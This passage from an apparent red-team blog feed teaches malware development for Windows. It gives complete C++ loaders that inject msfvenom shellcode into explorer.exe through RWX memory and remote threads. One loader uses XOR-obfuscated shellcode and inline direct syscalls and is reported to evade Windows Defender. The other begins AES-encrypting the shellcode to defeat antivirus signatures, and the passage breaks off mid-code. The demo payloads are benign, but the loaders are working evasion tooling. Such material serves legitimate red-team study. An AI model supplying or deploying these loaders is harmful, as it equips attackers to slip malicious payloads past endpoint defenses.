<a href="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-clang.png"><img src="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-clang.png" alt="Setting the Platform Toolset" /></a></p>
</blockquote>

<p>Here’s an example code that utilizes the <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL</code> macro:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/in_memory_init.hpp"</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_UNICODE_STRING</span>
<span class="p">{</span>
	<span class="n">USHORT</span> <span class="n">Length</span><span class="p">;</span>
	<span class="n">USHORT</span> <span class="n">MaximumLength</span><span class="p">;</span>
	<span class="n">PWSTR</span>  <span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">UNICODE_STRING</span><span class="p">,</span> <span class="o">*</span> <span class="n">PUNICODE_STRING</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_OBJECT_ATTRIBUTES</span>
<span class="p">{</span>
	<span class="n">ULONG</span>           <span class="n">Length</span><span class="p">;</span>
	<span class="n">HANDLE</span>          <span class="n">RootDirectory</span><span class="p">;</span>
	<span class="n">PUNICODE_STRING</span> <span class="n">ObjectName</span><span class="p">;</span>
	<span class="n">ULONG</span>           <span class="n">Attributes</span><span class="p">;</span>
	<span class="n">PVOID</span>           <span class="n">SecurityDescriptor</span><span class="p">;</span>
	<span class="n">PVOID</span>           <span class="n">SecurityQualityOfService</span><span class="p">;</span>
<span class="p">}</span> <span class="n">OBJECT_ATTRIBUTES</span><span class="p">,</span> <span class="o">*</span> <span class="n">POBJECT_ATTRIBUTES</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_CLIENT_ID</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">UniqueProcess</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">UniqueThread</span><span class="p">;</span>
<span class="p">}</span> <span class="n">CLIENT_ID</span><span class="p">,</span> <span class="o">*</span> <span class="n">PCLIENT_ID</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PS_ATTRIBUTE</span>
<span class="p">{</span>
	<span class="n">ULONG</span>  <span class="n">Attribute</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">Size</span><span class="p">;</span>
	<span class="k">union</span>
	<span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">Value</span><span class="p">;</span>
		<span class="n">PVOID</span> <span class="n">ValuePtr</span><span class="p">;</span>
	<span class="p">}</span> <span class="n">u1</span><span class="p">;</span>
	<span class="n">PSIZE_T</span> <span class="n">ReturnLength</span><span class="p">;</span>
<span class="p">}</span> <span class="n">PS_ATTRIBUTE</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPS_ATTRIBUTE</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PS_ATTRIBUTE_LIST</span>
<span class="p">{</span>
	<span class="n">SIZE_T</span>       <span class="n">TotalLength</span><span class="p">;</span>
	<span class="n">PS_ATTRIBUTE</span> <span class="n">Attributes</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span> <span class="n">PS_ATTRIBUTE_LIST</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPS_ATTRIBUTE_LIST</span><span class="p">;</span>

<span class="n">NTSTATUS</span> <span class="n">NtOpenProcess</span><span class="p">(</span><span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span> <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PCLIENT_ID</span> <span class="n">ClientId</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtAllocateVirtualMemory</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">OUT</span> <span class="n">PVOID</span><span class="o">*</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">ZeroBits</span><span class="p">,</span> <span class="n">IN</span> <span class="n">OUT</span> <span class="n">PSIZE_T</span> <span class="n">RegionSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">AllocationType</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">Protect</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtWriteVirtualMemory</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">NumberOfBytesToWrite</span><span class="p">,</span> <span class="n">OUT</span> <span class="n">PSIZE_T</span> <span class="n">NumberOfBytesWritten</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtCreateThreadEx</span><span class="p">(</span><span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ThreadHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span> <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span> <span class="n">OPTIONAL</span><span class="p">,</span> <span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">StartRoutine</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PVOID</span> <span class="n">Argument</span> <span class="n">OPTIONAL</span><span class="p">,</span> <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">CreateFlags</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">ZeroBits</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">StackSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">SIZE_T</span> <span class="n">MaximumStackSize</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PPS_ATTRIBUTE_LIST</span> <span class="n">AttributeList</span> <span class="n">OPTIONAL</span><span class="p">);</span>

<span class="n">NTSTATUS</span> <span class="n">NtClose</span><span class="p">(</span><span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">Handle</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="n">jm</span><span class="o">::</span><span class="n">init_syscalls_list</span><span class="p">();</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">4396</span><span class="p">;</span>

	<span class="c1">// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="c1">// XOR-decrypt the shellcode</span>
	<span class="kt">char</span> <span class="n">key</span> <span class="o">=</span> <span class="sc">'`'</span><span class="p">;</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objectAttributes</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objectAttributes</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">pid</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtOpenProcess</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objectAttributes</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>

	<span class="n">LPVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtAllocateVirtualMemory</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">baseAddress</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtWriteVirtualMemory</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtCreateThreadEx</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">GENERIC_EXECUTE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtClose</span><span class="p">)(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">INLINE_SYSCALL</span><span class="p">(</span><span class="n">NtClose</span><span class="p">)(</span><span class="n">hThread</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><em><strong>NOTE:</strong> Make sure to create the necessary structs and typedefs as this tool won’t do it for you, unlike <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>TIP:</strong> Use <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a> to generate the required structs and typedefs, then utilize <a href="https://github.com/JustasMasiulis/inline_syscall">JustasMasiulis/inline_syscall</a> when using syscalls.</em></p>
</blockquote>

<p>If we run the compiled binary against Windows Defender, it was not detected (at the time of writing) compared to the binary generated with <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png"><img src="/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" alt="inline_syscall not Detected by Win Defender" /></a></p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it for now! I know I may have missed some libraries, so if you know some easy to use libraries for malware development, feel free to let me know and I can add them here.</p>

<p>Huge thanks to all the people who are dedicating their time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, <strong>please support and sponsor their work</strong>.</p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A list of some easy-to-use libraries and how to use them for malware development.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-02-16-libraries-for-maldev/inline-syscall-not-detected.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Quick &amp;amp; Lazy Malware Development</title><link href="https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html" rel="alternate" type="text/html" title="Quick &amp;amp; Lazy Malware Development" /><published>2021-12-15T00:00:00+00:00</published><updated>2021-12-15T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html"><![CDATA[<p>Have you ever wanted to write malware (for educational purposes) but don’t know how/where to start? How about writing a custom implant to bypass an AV for an engagement but time is very limited? Or you just simply want to write malware to upskill and/or better understand how Windows API works but are too lazy to start working on it.</p>

<p>Don’t worry because you’re not alone. No one starts off being excellent and we’re all once a beginner. Also, not every one of us is motivated to start working on some things. And if you’re like me who doesn’t have all the free time to develop something from scratch and is sometimes “too lazy” to work on things, I just simply Google my way to “quickly” get things done.</p>

<p>In this post, I’ll demonstrate how to write malware (for whatever purposes you needed it) from the perspective of someone who has very limited time to develop it and someone who has very basic programming skills.</p>

<h2 id="introduction">Introduction</h2>

<p>The binary that we’re going to develop will inject a shellcode into a remote process running on the target system. This technique, which is commonly employed by malware authors, is called <strong>Process Injection</strong>, and there are several different ways of implementing this technique as documented in the following:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1055/">MITRE ATT&amp;CK: Process Injection, Technique T1055</a></li>
  <li><a href="https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf">BlackHat: Process Injection Techniques - Gotta Catch Them All</a></li>
  <li><a href="https://www.ired.team/offensive-security/code-injection-process-injection">Red Teaming Experiments: Code &amp; Process Injection</a>.</li>
</ul>

<p>We don’t want to get stuck in “analysis paralysis” on which process injection technique is “best”, so we’ll just stick to the classic <strong>CreateRemoteThread</strong> method. The image below best illustrates how this technique works.</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/process-injection.gif"><img src="/static/img/2021-12-15-lazy-maldev/process-injection.gif" alt="Demo of Process Injection" /></a></p>

<blockquote>
  <p><em>Huge thanks to Elastic for creating this awesome GIF and for their <a href="https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">awesome blog post</a></em></p>
</blockquote>

<h2 id="skeleton-code">Skeleton Code</h2>

<p>Now, since we’re “too lazy” to start from scratch, we can just simply search the web on how to do this. For this post, I’ll use the code provided by <a href="https://twitter.com/spotheplanet">@spotheplanet</a> in his <a href="https://www.ired.team/offensive-security/code-injection-process-injection/process-injection#executing-shellcode-in-remote-process">post</a> about this technique.</p>

<p>So here’s what the skeleton code would look like <em>(Note that I made very slight modifications with the code.)</em>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">5284</span><span class="p">;</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><em>I highly recommend the following repos if you want to have a baseline code for various process injection techniques:</em></p>
  <ul>
    <li><a href="https://github.com/odzhan/injection">injection</a> by <a href="https://twitter.com/modexpblog">@modexpblog</a></li>
    <li><a href="https://github.com/theevilbit/injection">injection</a> by <a href="https://twitter.com/theevilbit">@theevilbit</a></li>
  </ul>
</blockquote>

<p>If we compile and run the above code, we can see that the injection worked. As illustrated below, the shellcode was injected into the address space of <code class="language-plaintext highlighter-rouge">explorer.exe</code>.</p>

<p><a href="/static/img/2021-12-15-lazy-maldev/shellcode-in-explorer.png"><img src="/static/img/2021-12-15-lazy-maldev/shellcode-in-explorer.png" alt="CreateRemoteThread Worked!" /></a></p>

<p>Obviously, this code is signatured heavily already by AV vendors and will be caught immediately.</p>

<h2 id="encrypting-the-shellcode">Encrypting the Shellcode</h2>

<p>So how can we improve our malware? The first thing that we can do is to encrypt our shellcode since shellcodes generated by <strong>msfvenom</strong> are heavily signatured and any AV would immediately detect it. We will not write a custom encoder/crypter since we’re just noobs and we don’t have time. So we’ll Google our way on this.</p>

<p>For this one, we’ll AES-encrypt the shellcode. Good thing open-source libraries are available to ease things up. Example of them are the following:</p>

<ul>
  <li><a href="https://github.com/SergeyBel/AES">SergeyBel/AES</a></li>
  <li><a href="https://github.com/kokke/tiny-AES-c">kokke/tiny-AES-c</a></li>
  <li><a href="https://github.com/kkAyataka/plusaes">kkAyataka/plusaes</a></li>
</ul>

<p>I’m going to use <a href="https://github.com/kokke/tiny-AES-c">kokke/tiny-AES-c</a> for this post. To use this library, simply download the following files and add them to your Visual Studio project.</p>

<ul>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.hpp">aes.hpp</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.h">aes.h</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.c">aes.c</a></li>
</ul>

<p>Then on the <code class="language-plaintext highlighter-rouge">main.cpp</code> file, add the header file <code class="language-plaintext highlighter-rouge">aes.hpp</code> by adding the following line.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span></code></pre></div></div>

<p>We’ll also use <strong>AES256</strong> instead of the default <strong>AES128</strong>. To do that, open the file <code class="language-plaintext highlighter-rouge">aes.h</code> and comment out <code class="language-plaintext highlighter-rouge">#define AES128 1</code> (line 27) and uncomment <code class="language-plaintext highlighter-rouge">#define AES256 1</code> (line 29).</p>

<p>Now that everything is set up, it’s time to encrypt the shellcode. This can be done using the following code.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_encrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Encrypted buffer:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

